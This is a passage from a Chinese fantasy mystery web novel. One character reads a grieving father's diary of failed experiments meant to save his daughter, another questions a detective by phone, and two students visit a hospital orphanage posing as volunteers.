结束了,艾克里普确认了纸张背面没有其它内容。这份文件对阅读者的筛选根本不作任何掩饰,其中大量的专业术语缩写没有在最后一一列出并解释。这是记录给专人查看的,艾克里普所拥有的生物学知识不足以让她理解实验过程中具体发生了什么。 这份实验报告的纸张与保险箱内的纸张相比崭新得像是刚出生不久,结合登录在终端内的时间和备注,艾克里普判断其大概率并不是实验人员本人将其记进终端并存放在资料室中的。 令她感到在意的问题是转写者院长M是否就是那个保险箱的所有者?但无论结果如何,其所写内容中表现出的对于人体实验的态度都令艾克里普反感。 应该把这个交给克拉拉小姐看看,艾克里普这样想着,并没有将其放回原位。她看向书架,意外地发现文件夹被取出后,那其中的书架深处似乎还存在着什么,艾克里普伸手解救被压在文件砖头内部的隐藏信息,那是一个皱巴巴的,A5大小的螺旋装订笔记本。 未被刻意保护过的内容页上,墨水字迹娟秀。艾克里普思考它出现在那里的原因,得到的答案只有转录者人不想让这本笔记本的内容出现在资料系统记录之中,也不愿其被销毁。 笔记本内容不多,几处破损,几处墨水模糊,但因为字迹清晰而并不难阅读。 1996年8月20日 我有预想过爱丽丝会尝试激进的实验方式,但我真的没想到她会做出这样疯狂的举动,没关系,还来得及,我会救你的,和她不一样,我绝不会留你一个人在这里。 表现为严重的RP-d污染症状,初步诊断为类白血病症状。进行了标准净化程序,但效果不佳,我会持续观察。 1997年3月12日 爱丽丝的症状恶化了,污染渗透细胞深层,这是正常现象,在平均预期中。 我利用实验室资源尝试多次高频率魔力剥离技术,组员没发现,因为实验取得了一些理论突破。实验室里的其它人对结果呈乐观态度,但实际治疗效果真的微乎其微。我应该多考虑一下溶血的可能性的,这个肯定很痛吧,抱歉。 但爱丽丝拒绝常规治疗,我明白自从她身体出现状况之后只能待在房间里很无聊,可室外的一切对她来说都是致命的。我给她带来了一大堆红色的气球,这是她最喜欢的。 没关系,我会一直陪着你的。 1997年12月5日 总管理人早已正式禁止爱丽丝参与任何实验,可她完全不听,是污染也对她的精神也产生了影响吗?可她的症状与那些RP-H并不吻合,那么就不该这么早就出现后遗症的。但这也能解释她为何对我的治疗如此抗拒了,我绝不会放弃的。 我跳过前置观察直接进行了基因融合尝试,但效果不好。我的实验方法是否正确已经来不及去验证了,爱丽丝很痛苦,我别无选择,我不会放弃。 1998年6月27日 爱丽丝体内污染加剧,血液开始逆向影响精神状态,后遗症症状明显,她出现幻觉、妄想,性格扭曲。我进行了屏障植入实验,虽然这是她的做法,但这能尝试阻断污染物侵蚀。实验中爱丽丝反应激烈,抱歉,我知道这个很痛。 这与我预想的不一样,应该是她的精神抗拒大大降低了成功的可能性,这有先例。污染对她精神上的影响比预期中的高太多了,我需要立刻对进程进行修改。 实验被判断终止了,但治疗和观察可以继续。幸好是我,幸好我可以决定,爱丽丝不会死去的,我会救你,只有我能救你的。痛苦是正常现象,抗拒是正常现象,我会救你的,哪怕付出再大的代价都必须这样做。 到时候我们就回家,你出院的那天,我会带给你很多很多红色的气球,我给你准备了新的行动辅助器,你甚至可以短暂地飞起来,然后你就再也不需要因为轮椅卡进路边缝隙而烦躁了。到时候我就带你去看看我的老家,那不是多好的地方就是了。 如果爱丽丝想的话,我们也可以去找她,你知道她总是那样的,我们都爱你。

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我才是那个自己不愿意放弃的人吧,到头来我最大的目标只是想证明自己没有错,对不起,爱丽丝,对不起,那确实好痛。你是不是已经知道这些了呢?抱歉,如果可以的话我还是想尝试一下当一个好一点的父亲的。这些话我该当面和你说吧,抱歉。 2000年3月23日 今天是爱丽丝的生日,我带了她喜欢的红色气球去看她,她很平静,她其实一直都很冷静。她和我说了一些话,她说我老了很多,好吧,这也是没有办法的事情。 实验彻底失败了,我一直挪用资源的事情也暴露了,Evo那边来清算的人我都猜得到是谁。那么接下来已经没有我可以反抗的余地了,不过这些是我自作自受,就是不知道那老家伙会遭遇些什么了,不过他当初决定让我换他的时候就该想到有这么一天才对。 所以我答应了爱丽丝的要求,但在最后,她也答应了我的要求。 这种感觉就叫做绝望吗?之前那个跑进我办公室问我家人在哪里的孩子,知道真相后是否也是这样想的呢?抬头看不见前路,回头发现一切尽是些错的选择。 血湖会包容所有人,我知道那不算一个坏的去处。 我果然还是想看着爱丽丝长大,我给她准备了很多各方面的书,她很聪明,有着那样的天赋和好奇心,她长大了会是个耀眼的人。 爱丽丝,我的爱丽丝,很抱歉,如果我早点这样和你这样谈谈就好了,如果早点把那些书都交给你就好了。生日快乐,你又长大了一岁,恭喜你,对不起。 她没有来,有点可惜,但她可能会看到这个吧,那也不算是白写了这些东西。 如果你确实看到了,那你记住,我—— 最后的几个字被暗红色颜料划掉了,下笔见痕,非常用力。 这本笔记本的最后一页上,有人用暗红色的颜料写下了“出院快乐”四个字,字迹歪扭如模仿画,但也证明有着除了转录者,艾克里普之外的第三人看过这本笔记本。 阅读完毕之后艾克里普迅速地意识到,之前的实验报告是基于这本笔记本所讲述的实验的转录。记录者那浮于文字之上的感情,有谁不想让系统中的其它人看到,却又希望能将过程保留下来。艾克里普为记录中的那些感情感到心惊的同时,也对其中信息感到不解。但可以确信的是神脉医院的某处潜藏着她需要销毁的存在,无论是实验室,还是失去人性的研究人员。 A应该就是指爱丽丝,实验主要操作者为Matora,大概率就是在1999年之前的审批表上签字的院长M,二者为父女关系。那么可以推测出神脉医院重建后院长更替,那后来的这位转录者院长M又是谁呢?她与当前的院长博蒙-阿贝尔没有在名字上相似的地方。艾克里普记下这个问题,决定将这个笔记本带走。 2009年的记录中并没有值得怀疑的信息,博蒙上任院长后作风比起以往都要低调,她甚至没有更新自己的照片,资料系统也中没有留下她所登录的记录可以查阅。 艾克里普有些怀疑,但信息需要共享,她决定先前往与同伴汇合再决定接下来的做法。 正如几人所想的那样,森山寺未雅在有乐羽生家吃了一顿索然无味到始料未及的午餐,盘子空了之后被及时撤走,侍者递上擦手用的毛巾,她这才意识到,午餐真的结束了。 午休时间,森山寺未央从自己带过来的小包里翻出了巧克力,将书房座椅挪了个方向正对窗外,坐下开始咀嚼自己的备用午餐。正午时分,侍者们也在休息,园林短暂地归为植物与石头所有。 森山寺未雅不免想起了前往神脉医院探查的几人,她想起艾克里普说过自己可以和那位启明星侦探聊聊。那一车四人大概率不会打探到与□□成员有关的线索,可侦探总该知道些的,森山寺未雅准备了一些问题,抬起右手手表拨号,并将手腕内侧贴近右耳。 “您好,这里是启明星侦探事务所,我是侦探启明星,请问有什么可以为您效劳的?”孩童的声音传达入耳,森山寺未雅顿了顿,她是第一次听见对方说话。 “我的名字是森山寺未雅,或许您对我的妹妹森山寺未央,以及艾克里普更为熟悉一些?”森山寺未雅回应说,“希望我没打扰到您的午休时间,那几位前往神脉医院进行调查,而我则负责处理一些其它事务,有些事想要问您。” “原来是森山寺未雅小姐!很荣幸听到您亲口与我谈话的声音,请问吧,在我力所能及的范围内我一定尽我所能满足您的求知欲。”启明星爽朗地笑着答应了下来。 “真高兴您这样说,这正是我需要的。”森山寺未雅笑了,“那么,可否告诉我关于白夜社的相关信息,以及其与天使之间的联系呢?若是您不确定的话,只说说您的推论也不错。” 通话信号顿了顿。 “这些对你们来说是迟早会从我这里了解的信息,最晚到几位从神脉医院归来之后我就会具体说明了。”启明星又问,“或者说这是您个人想要了解的部分问题?” “需要我单独下达委托吗?”森山寺未雅没有否认。 “何必如此大费周章呢?只需要告诉我,您确切需要知道哪一部分,我会确切地告诉您答案的。”启明星说。 “好吧,侦探。”森山寺未雅想了想,直接说,“我想知道的是,您与白夜社的联系。” 启明星没有立即回答。 “如果这个问题冒犯到您了那请让我道歉,但与无论发生什么事都能笑着说没关系的存在相比,我无论如何都很担心啊,侦探。”森山寺未雅叹了口气,为自己的问题提前善后。 “我可以理解您。”启明星说到这里顿了顿,语气恰到好处地低落了一些,“您在担心我与那幕后黑手同流合污,毕竟我们之前确实有过雇佣关系,您认为我有概率是一枚被安插在各位身边的监控探头,按需为我的雇佣者提供各位的进度以示警戒。” “您多清楚。”森山寺未雅应声。 “我接手六十七号,接手与多个□□家族相关的事务,主动找到艾克里普小姐提出问题,甚至,主动提出各位的调查方向,并且加以催促。这样细数下来一看我确实一下子就变得可疑起来了!”启明星因兴致而语气带笑,孩童的笑意天真无邪。 “这种时候要叹一口气比较好吧?”森山寺未雅也笑着问。 “但这实在是有趣,我无法不露出微笑,森山寺未雅小姐。”启明星坦诚地说,“若您是我的委托人的话,我只需按需提供线索就可达到让您打消或不得不打消疑心的结果,可您并非这等身份,又确实与我的目标有关。我要如何才能取信于您呢?” “这也是您需要考虑的,我们相信您表露出来的部分,侦探,但就像您所说的那样,确切的真相并不代表所有。我们相信部分,那剩下的部分该如何是好呢?”森山寺未雅说着,给出了一个引导,“在您眼里我们算是什么呢?魔法少女并不是一个能说出来就解释所有事务的名词吧。” “那就让我从这里开始解释吧。”启明星说着,摇椅作响,“各位对我来说,是钥匙,也是牵制手段,或许我们在之后会有成为朋友的可能性吧,但在一切结束之前这是很难实现的。谁能隔着试探拥抱呢?那会让两个人都害怕自己被捅上一刀吧。” “我果然还是打扰到您休息了吗?抱歉。”森山寺未雅说,“我能听出您希望抵达什么真相,但也在顾虑着什么,这些您现在没办法告诉我吗?” “不必介怀。无时无刻的思考与对真相的渴求是侦探的必修课,但对我本人而言,这也是我自己的东西。我无法告知您的原因在于我自己都不知道我所追寻的真相所套用的问题本身是否是完整的,因为我并没有准备好一个确切的问题去战胜。但我所顾忌的东西很简单,那就是我的死亡,森山寺未雅小姐。”启明星说。 “您很坦诚,真心感谢这一点,我需要思考的东西减少了很多。”森山寺未雅想了想,继续说,“我不评价您对死亡的态度,但可以告诉我您顾虑的缘由吗?难道与白夜社有关?” “干脆说与我的雇主有关好了。”启明星叹了口气说,“无论是哪边的,我亲爱的雇主们净是些表情不会透露出下一步需求的家伙,这样的雇主一多我的生命就愈发脆弱了,我为了能确切地活下去可是做了很多准备。但直到获得各位以及六十七号之前,我都没做好准备真正地接触我想要的东西。” “那您即使如此也要做那些雇主的侦探的理由是什么呢?”森山寺未雅问。 “成为侦探的理由与追寻目的的理由是不同的,若是侦探这个身份无用,那我就换下一个,不过如果跨专业太多的话简历什么的就得重新开始写了。”启明星叹了口气,但很快又重新振作起了精神,“理由很简单,因为我想做到一些有趣的事情。” 将声音的年龄与理由放在一起的话就显得合情合理了起来,但遗憾的是森山寺未雅没有忘记之前的对话,于是她感到的只有质疑。 “哪怕冒着丢掉性命的风险也要做有趣的事?真的只是有趣而已吗?”森山寺未雅质疑道,“我可以听出您并没有在掩饰什么,这才可疑。侦探,我真希望您并不是那种会在一切结束后因为不想故事结束而对我们的脑袋开枪的反派啊。” “哈哈哈,那听上去也太戏剧化了,很有趣,但与我的目标就不一致了。”启明星笑了,“我所做的事情,正如您所说,与高空走钢丝无异。这样大的风险加上努力以及我的头脑,我本该拥有巨大的回报才对。” “您不满意。”森山寺未雅说。 “当然不满意!”启明星语气聚集失望,“雇主需要什么,我就去做什么,我到现在为止能做到的不过也就是将一个情报传递给另一个人以均衡城市势力而已,影响力还不如那位顾问呢。更别提我想要的根本就不是这个!我想知道的是她们害怕的东西,没错,就是那些天使的存在,是因为那样的力量她们才缄默,才默认规则,才那样不合理。但是现在将一切看清不过是时间问题,接下来就是享受时间了,真是不得不感谢各位对我的协助呢。” 这个回答与森山寺未雅设想的差不多,出乎意料的点在于对方激动时的口吻,真的和孩子一样啊,她心里想着,不免有些好奇对方本人。 “那么,接下来呢?您应该知道我们的态度,也知道艾克里普的能力的。”森山寺未雅继续追问,“您不会有机会利用我们,或者利用天使这个秘密威胁那些存在的,因为这个秘密很快就要消失了,可能最快不会超过三天吧。” “我还是很信任魔法在这方面的作用的!”启明星回答说,“不过,我并不认为这件事会就此结束,或者说这才有趣,这也是我继续当侦探以及大家的朋友的原因。” “您有推论?”森山寺未雅有些意外,“即使幕后之人都死绝了还会有什么后续让您担心呢?还有谁能阻止您转行呢?” “…侦探不该明言自己的无知,但是,这确实只是我的直觉。”启明星难得地沉默了片刻,“最近发生奇怪的事情的频率实在是太多了,人死得又多又毫无章法。混乱之中会有希望和新的秩序萌芽,但也可能直接走向灭亡吧。” “您是说世界末日要来了吗?”森山寺未雅笑着说。 “世界末日不也和魔法少女一样是多含义名词吗?这方面就随您的心情去理解就好,不必考虑我的看法了。”启明星说着,摇椅再次作响,“森山寺未雅小姐,您已经得到您想要的答案了吧,那么,还有什么可以帮到您的吗?” 森山寺未雅看向窗外,今天天气不错,适合出门。 “远不止这些,但现在这些就够了,侦探。”森山寺未雅笑着说,“请做好准备吧,见面时,我也会像这次一样向您发问的。” “这可算是不错的下次预告了,我会期待着的。”启明星说。 通话结束,森山寺未雅晃了晃腿,四肢着地的木椅没有摇晃。 “有趣吗?贪心的小孩子的说法。”她说着,若有所思,“难道说是人体实验产生的天才儿童?” 39.quīnque 另一边,目送艾克里普与犬山晓离开的森山寺未央与有乐羽生在医院入口处原地等待。 【这个医院完全是私人的,既不集资也不上市呢。】有乐羽生若有所思地看着手机。 【我之前也搜了一下,不知道是不是因为这个原因,我完全找不到医院相关的任何财务披露表,倒是说了需要的话可以打电话给这个城市的市税务办公室。】森山寺未央说着皱眉,她们作为外地学生完全没有理由和身份这样做。 【…完全没有吗?】有乐羽生若有所思,【但这里的附属孤儿院应该是非盈利的,而且有在提供医疗,至少我们城市里这样的情况下是需要披露资金去向的。】 【那我就不太了解了,我们如果能在孤儿院里直接找到相关的信息就好了。】森山寺未央点了点头,【这家孤儿院看着太过于正常了反而很可疑啊。】 【私人医院范围内附属纯慈善机构,这样一说的话很多阴谋论都可以往上套了呢。我们的调查出发点在于孤儿院是否参与人体实验,以及院内管理人是否知情。】有乐羽生说。 【我会非常严格地提问的!】森山寺未央郑重点头。 【那样我们会显得很可疑啦。】有乐羽生说。 带路的人到了路口。 “二位就是枫叶湖高中三年级来进行志愿者社会活动的学生?真是辛苦你们在工作日过来一趟了,请跟我来吧!”管理人是一位带着眼镜的中年女士,反日光下眼目模糊不清,她的肩膀习惯性地耸着,局部僵硬,同时走路时破脚。 她的胸口挂着一张工作证作为身份证明,带着神脉医院的水滴状标志。 “您好!这是我们的申请表,麻烦您特地走过来一趟,真是辛苦您了。”有乐羽生笑着拿起表格迎面走去,“请您过目,活动结束签名后返还给我们。” 中年女人接过表格没有多看,似乎对这类文字并不陌生,她站定后转头看向二人手里拉着的小推车,里面装满了各类书籍和益智玩具。她的表情没有变动,转头看向二人。 “你们才是过来一趟辛苦了,这些书很重吧?”中年女人一边带头往医院大门内走,头部方向不动,朝二人露出了微笑,“我的名字是禾草代目,二位是双胞胎吧,两位同学怎么称呼?” “没有的事!我是佐佐木泽,叫我小泽就可以啦。”有乐羽生微笑跟上。 “我是佐佐木希,叫我小希就好。”森山寺未央也跟了上去。 二人入园后不久就发现脚下的路所延伸的方向并不通往医院,灰白小道贴着外侧围墙内部,绿草地横具在其与医院主干道之间,似乎意图远远地绕开医院区域进入孤儿院。 小道并不宽敞,草地翠绿平整,色彩在阳光直射下失了真。 “你们好你们好,这个时间孤儿院的大家刚刚结束午休,正在上课,若是你们提前来电的话我们就能做些准备招待你们啦。”禾草代目语气可惜地说,脚步蹒跚但步频不低。 “没有的事,我们可是来当志愿者的,哪能让孩子们招待我们。”有乐羽生惊讶地说,“我们只是希望能给孩子们带来一些心意,并积累社会活动经验,完全没有必要为我们的参观体验考虑的!” “没错,能见到孩子们的生活就可以了,我们随便聊聊就好。”森山寺未央附和说。 “两位真是和蔼可亲的同学,孩子们一定会欢迎你们的,不过二位应该也在来之前了解过我们孤儿院的特殊之处了吧?”禾草代目回头看向二人,她在微笑。 “是指孩子们都身患疾病这一点吗?我们正是因为钦佩神脉医院这一做法而慕名而来的!”有乐羽生语气里带着敬意,“多数福利院都视这一类特殊人群为累赘,但贵医院却正好相反。” “正是如此,实不相瞒,我也曾经是这家孤儿院的一员,长大后也一直在这里工作,早就把这里当成是我的家了。但并不是所有人都能接受我的家人,甚至许多人在见到我时都会对我的行为感到反感。”禾草代目说着叹了口气。 “这真是太过分了!”有乐羽生气愤地说,“每个孩子都不能选择自己的出生,这种事情怎么能被当作攻击点呢?” “我们绝不会做出这种事的,请放心。”森山寺未央说罢皱起眉头,“您是在医院外面遇到这种事的吗?请问是在哪里?我们会去那里进行人道主义宣传的!” “都是过去的事了,你们真是热心呢。”禾草代目笑呵呵地略过了这个问题。 森山寺未央无法确定对方是否是故意避开回答这个问题的,不过现在也并不是一个确认的好时机。 “哪里哪里,这是最基础的教养问题。”有乐羽生也笑呵呵地说。 谈话间几人远远地绕开医院的几栋楼,从边缘的小路往深处走去,阴影偶尔接住部分阳光,小路和草地的边界上栽种了些齐脚踝高的彩色小花。禾草代目介绍起了神脉医院的一些信息,类似于几栋楼各自的用处,以及这片区域的自然环境之类的。 “这里的景色真是美丽,孩子们每天早上都能看到湖畔的景色心情应该会不错吧?”有乐羽生看向远处的湖波感叹道。 “得益于工作人员每日的辛勤劳作,这片湖确实一直是我们引以为豪的风景线,但早上这里会起雾,严重的时候连路都看不清呢,可不能让孩子们过去。”禾草代目摇头说。 “对哦,这样一说虽然这里和城市区域有一定距离但也是海岸线的一部分呢,不知道这里有没有枫树和海鸥?”森山寺未央好奇地问。 几人的所在地能直接看到远处的湖景,大片草木不动,并非是因为无风,而是因为失去了可挥舞的部分。正如禾草代目所言,这里的植被环境工作者每天都会除草。 “这里确实有一片枫叶林,但鸟类并不多,因为医院有私人的停机坪,所以管理者会定期对上空的鸟类进行驱赶。以前这里还有一大片芦苇丛,但因为不美观被修正了。”禾草代目指着远方的湖畔介绍说。 森山寺未央看向远方,靠近湖畔的区域固然干净到适合去郊游,本该在湖边茂盛生长的长草也有被修剪过的痕迹,远处视线没入森林中,就看不见什么了。 “居然有停机坪吗?真是比想象中的还要便捷许多呢。”有乐羽生感叹道。 “这都是多亏了上一代医院院长在重建时不留余力的投入,这才有了这样美丽的医院和我们的家园。”禾草代目语气里带着感慨。 在圣心医院的官方网站中也有提到这一点,提前确认过的森山寺未央和有乐羽生并没有对此太惊讶。 神脉医院的前身为芦苇岸社区医院,由政府与各地的慈善机构投资在1970年代左右建成,为这个偏僻地区提供有限的医疗服务,也有孤儿院存在但人员和管理者都很少,不主动接受外部的孤儿,规模远远比不上现在眼前的一切。 直到2000年前后该地区被收购并正式宣布作为私人地区重建,再次出现在眼前的就是现在的神脉医院了。 “正是因为有着那样的魄力才能得到如今这样的成果呢。”有乐羽生笑着说。 “能在建起这样的医院的同时兼顾社会福利设置,前代院长真是个心胸宽广的人呢,那位Matora您有见过吗?”森山寺未央好奇地问。 医院官方网站的历史上有简单概括过这位在2009年之前担任院长的男子,虽然无生平介绍,但作为院长的他与医院的收购和重建脱不开关系。 “当然,我对他可是印象深刻,毕竟我小时候就是那位院长亲自带到这里来的呢,他教导了我很多东西,无论是知识还是关于这里。”禾草代目说到这里语气变得深远,似乎回忆起了曾经的往事,她的动作自然了些许,僵硬的肩膀和跛脚在这一刻都似乎随着她精神的回溯而消失不见了一般。 “那您成为这里的管理员也有这方面原因吗?”森山寺未央问道。 “那倒不是,我成为这里的管理员时院长已经更换为博蒙女士了,也就是现任院长。我们这些有天生不足的人在社会中总是格格不入的,能一直留在这里真是太好了。”禾草代目说道。 【最后一句倒是真心话呢。】有乐羽生说。 【她前面在说谎吗?】森山寺未央吓了一跳。 【倒也不是,不过是选择性地说出了事实而已。我在别人是否在隐瞒些什么这件事上的直觉可是很准的哦?毕竟人说起谎或者想瞒起什么时大多数都是差不多的呢。】有乐羽生说。 【是,是这样吗?】森山寺未央有些疑惑,【不过这样的话这位管理人为什么要这样做呢?我觉得有点可疑,不过不能定论。】 【才刚开始呢,再问问吧。】有乐羽生说。 “您对新任院长有什么看法吗?”有乐羽生问道。 “我可不想说我的上司的坏话,不过确实没什么坏话可以说。”禾草代目笑呵呵地说,“这里的工作都是我擅长的,环境在这个世界上也是数一数二的了,遇到的也都是和我差不多的人,可以说没什么可以抱怨的了。” 森山寺未央注意到对方再次避开了关键问题,她不太理解对方这样做的理由。 “我会将您的体验记录在感想中的!”有乐羽生笑着说。 “哎呀,这里可请美化一番,毕竟我没上过学,说的都是些心里的感受。”禾草代目摆了摆手说。 “怎么会?您的心里话就是最好的感想!”有乐羽生举起记事本认真地说,“您认可新任院长为保护孤儿院环境做出的杰出贡献,同时也对自己的工作环境感到满意,我可以这样记下您的感想吗?” “…我确实是这样想的。”禾草代目略微沉默后点头,“但为了前代院长的声誉,能拜托同学你不要将这些报道出去吗?” “自然!我们只是需要收集您的感想以进行社会性反思而已。”有乐羽生微笑着说。 【她在说谎,她不希望自己的态度被别的什么人看到,所以既不愿意赞同院长也不愿意直接否认对方的贡献。】有乐羽生一边记东西一边说。 【我就不问你是怎么理解对方的了。】森山寺未央内心感激,【这个外人是谁呢,难道只是媒体或者说阅读媒体的人吗?】 【我觉得她在忌惮什么,或许也只是害怕。】有乐羽生思索着说,【再调查看看吧。】 【说起来,我们走过来的这条路很窄,也没有围栏,正常的车都是没办法开进来的。】森山寺未央注意到了这一点,【这位管理员也是走出来接我们的,没有用交通工具。】 有乐羽生若有所思。 几人谈话之间医院的建筑远去了,炫目日光下,散发着温暖感觉的红砖小楼矗立在草地上欢迎参观者投来视线。它算上三角形的楼顶有五层高,无阳台,房顶上有些烟囱。小楼脚边的草地毛茸茸的,一圈矮脚小花刻意地精致着。周围远远地能看到儿童公园和小操场,整体规格比起公立的幼儿园也不逞多让。 红色砖房建造在一个还算平缓的土坡上,建筑并未倾斜,二楼有着额外的残疾人通道和楼梯通往室外。那有着用于晒衣物的大量横杆,此时几匹被固定其上的白布扬起一角,有风。 而在这之后就是一片巨大的草地,一直连接到远处的森林中。 【从地面上看这里的面积就更大了。】有乐羽生说。 【但是游乐设施基本上都在那栋楼周围,而且。】森山寺未央顿了顿,【如果是从孤儿院那里看的话,医院的那几栋楼和围墙完全挡住了外面。】 【如果问她的话应该会回答说是为了安全考虑吧。】有乐羽生说。 “感觉市区那里很久没出现过这种建筑了,和医院那边的风格完全不一样。”森山寺未央感叹说。 “这样看比在照片里温馨得多,孩子们在这里生活一定很愉快吧?”有乐羽生说。 那片草地若是用来踢足球确实难得奢侈,可惜这里的孩子们有一定概率缺少足球,或者其它硬件。 “孩子们的心思我不清楚,不过大家确实很喜欢这里的草地,经常在外面跑来跑去。”禾草代目说。 “城市中可完全见不到这样可爱的风景呢,不过那里的森林是不是有些危险?孩子们不会不小心跑进去吗?”有乐羽生担忧地问。 “我们也很担心这一点,所以每次孩子们在外面玩都会有人看着,到目前为止还没有出现过失踪事件真是万幸。”禾草代目说着笑了,“孩子们也总喜欢自己吓唬自己,为那片森林编出了很多故事呢。” “那可真是辛苦各位了,那森林对孩子们来说一定非常有吸引力吧!”有乐羽生面露好奇。 “确实如此,虽然那里面什么都没有,却总有孩子喜欢往那里跑。”禾草代目说起这里叹了口气,“这就是我们管理员的任务了,我们必须保证孩子们不出意外。” “会有野生动物出没吗?”森山寺未央问。 野生的,头镶嵌在脖子里的,会爆炸的,动物。 “确实有野兔什么的,但大型的都不会出现,毕竟院长会定期派人去巡逻嘛,而且靠近边缘的地区有围栏。”禾草代目笑呵呵地说,几人终于走到了红砖小楼正门前,没有门牌或者自我介绍的标识,但那水滴形的标志再次出现在了几人眼前。 “说起来,这个标志是什么呢?医院那边也有看到。”森山寺未央问道。 “啊,这个啊,”禾草代目介绍说,“这是神脉医院的标志,这个标志很难看出来是什么吧?这是水蛭哦。” 被叫出名字后,不明生物终于现出原型。 “唔啊!”森山寺未央吓了一跳。 “现代的人对水蛭的印象就是害虫吧?不过在以前它也被视为由神祇赠予人类的治疗生物之一,还可以用于排毒。”禾草代目并不意外于惊吓的反应。 “这样一说确实就能看出是水蛭了,不过真是独特的设计呢。”有乐羽生微笑着说,也对其感到了一些毛骨悚然。 “我们已经习惯第一次知道这件事的人的反应了,不说的话完全看不出来吧?这样的话是不是一开始就不知道比较好?”禾草代目笑着问。 水蛭标志在医院和孤儿院内几乎是随处可见,若是一开始不知道还好,这样以后二人总感觉自己被漆黑光滑的水蛭包围了。 “怎么会,我们会尊重医院的传统,就像我们会尊重你们身上的独特性一样。”有乐羽生郑重地说,“这很有趣呢,如果可以的话我们也想多了解一些。” “…现在的学生可真是说话动听。”禾草代目笑着说,她走上前为二人拉开了孤儿院一楼大门,厚重的金属门在打开时发出了关节扭动的声音。 二人道谢后与手推车同步入内,一楼有些其它的管理人在等候着了,待二人进入后纷纷上前迎接,倒是没有见到孩子们。门厅空间不大,入内后两排楼梯占左右通道入口处边侧,与日之森教学楼构造并没有太大区别。光线从正门上方的窗户探入,彰显灰尘的存在。 与红色表皮相反,其内衬如苹果果肉一般朴实无华且寡淡。 “孩子们的课程会在差不多半个小时后结束,二位想去看看吗?”一位带着手套的负责人笑着介绍说。 “如果不会打扰到各位的话,那我们非常希望看看孩子们的课堂表现。”有乐羽生说。 “那请和我来吧,教室就在一楼。”带着手套的负责人点点头,她回头和禾草代目点了点头,为二人带路。 带着手套的负责人显然比禾草代目内向许多,表情沉稳,但非常年轻。 “请问您怎么称呼?”有乐羽生问道。 “我的名字是禾草千手,用名字称呼我就好,禾草是我们这些从这里出生的人的姓氏,意思是芦苇哦。”禾草千手不急不缓地说。 “原来是这样,是因为纪念曾经的芦苇岸社区医院吗?”森山寺未央问道。 “我也不清楚,关于孤儿院的过去这方面问代目负责人比较好,不过在我看来也就只能是这个原因了吧。”禾草千手说。 从入口处往左手边的走廊前进约两分钟不到,禾草千手在一扇带通风口的木门前停了下来,转身退后一步,意示二人从往里看。 木门内的房间大概与日之森内的乐队社团活动教室差不多大,陈设就是普通的教室,不过桌子都是由两人共享一张较大的桌子。教室内现在有大约十几名孩子,大概十岁到14岁的样子,身着统一的白色衣服。 讲台位置有一位讲师在说话,看样子这大概是一节阅读课。 “这里是青少年组,是12到15岁之间的孩子们上课的地方。”禾草千手指向这件教室对面的教室说,“那边是9-11岁的少儿组,更小的孩子们现在还在午睡时间。” 二人看向另一间教室内,大概25人,室内布局倒是都差不多,没有特别为儿童设计教室。 无论是青少年还是少儿,孩子们的身上多多少少能看到一些残疾的痕迹,而那些看不到显眼痕迹的孩子大概率是有着更为严重的内在疾病,毕竟这家孤儿院只接受有疾病的孩子。 “看来我们准备的书籍都可以用上呢。”有乐羽生欣喜地说。 禾草千手看向二人的手推车,有乐羽生的手推车内放置着大量的名著书籍,森山寺未央的手推车内放置大量的漫画书。封皮鲜艳地堆在小推车里,即使不读也可以当作是装饰。 “感谢二位带了很多书籍过来呢,一路上很辛苦吧?”禾草千手顿了顿,笑着说。 有乐羽生察觉到了对方那诡异的沉默,按理来说书籍对于孤儿院来说永远是不嫌多的,哪怕是重复的书籍也可以分给不同的孩子看。而且对于两个学生来说这样的书籍已经算是非常丰盛的礼物了,对方没有理由对此不满才对。 不是价值的话,那就是书籍本身的问题吗?有乐羽生收回了视线心想。 “没有啦,能用上就好!”森山寺未央不好意思地挠了挠脑袋。 “那么这些书就请交给我吧,我会在下课后分别放进教室里去的,二位请到入口处的客厅坐一会吧,有问题的话代目管理员一定会很乐意为二位解答的。”禾草千手笑着说。 二人见状也没多说什么,将手推车放在地上后就告别返回了。 【那些书并不是受欢迎的礼物呢。】有乐羽生说。 【咦?是这样吗?我特地挑选了我小时候喜欢的那些呢。】森山寺未央非常意外这一点。 【但那位千手女士看向书籍的眼神是可惜的,为什么呢?】有乐羽生很疑惑。 【可惜的话,是可惜这些书没法派上用场吗?但我看到教室里确实是有书架的,这一点我觉得很奇怪,不过另一方面这里的取名方式倒是显而易见。】森山寺未央说,【千手是手指缺失,代目是视力问题吧,破脚应该是后天造成的。】 【原来是这样,不过这里的管理员全都是来自孤儿院的呢。】有乐羽生回忆方才的场景。 【就像她说的,或许待在这里好一点吧。不过按照教室里的学生数量来说这个管理员数量就少的可怜了。果然这里的孩子存活率很低吗?】森山寺未央叹了口气,【而且就那些孩子的身材和班级分类相比,营养不良和疾病带来的影响并不小。】 【毕竟都是天生患有疾病的,若不是这样也不会被抛弃了吧,希望她们在短暂的人生中能做自己想做的事呢。】有乐羽生说。 【这很难吧,同比之下降低“想做的事”的标准才比较好。啊,是这样吗。】森山寺未央恍然大悟,【因为提前了解了孩子们的寿命有限,所以不为孩子们提供无法追逐到的梦想吗?】 【…怎么说呢,这种做法我非常不认同,但我也没资格说什么吧。或许这家孤儿院的特殊之处使管理人不得不采取这样的方法?】有乐羽生叹了口气。 【我也是。】森山寺未央也是这样想的。 二人在待客厅坐下,松软的沙发让她们的心头稍微轻松了些。 “二位接下来想做些什么吗?”禾草代目问道。 “我们为孩子们准备了一些歌曲,我们可以借用一些休息时间吗?”有乐羽生问。 “哪里的话?真是辛苦你们提前准备了,那么我们去另一间教室里吧?我一会会让孩子们过去的。”禾草代目笑着说,站起身来意示二人前往右侧走廊。 一楼建筑肠道的另一侧也排列着木质门,因此时无人使用而安静许多。 【对我们的行动看管的很严呢。】有乐羽生说。 【果然只能自己想办法调查其它地方了吗?】森山寺未央思索着。 禾草代目带着二人从大厅右侧的走廊一路向前走过三个房间后,拉开了走廊尽头右侧的房间拉门,这里比上课用的教室大一半左右。内侧似乎是用来阅读或者写作的活动室,许多圆桌摆着,周围是圆凳,房间内没有讲台,但也有投影幕布和白板。 二人进入其中后就闻到了木头的味道,脚下木板作响,抬头,教室前后各有一个圆形的监控摄像头。 “这里就是我们的活动室了,请二位在这里准备一下吧。”禾草代目搬来了凳子。 “我们可以两个人单独练习一下吗?实不相瞒我现在超紧张的,如果被人看着可能根本开不了口。”森山寺未央一脸为难地看向禾草代目。 “哎呀是这样吗?那我去外面等着好了,二位请加油!不过不用太紧张的,孩子们大多是都很礼貌。”禾草代目愣了愣之后便表示了理解,将凳子放在白板旁。 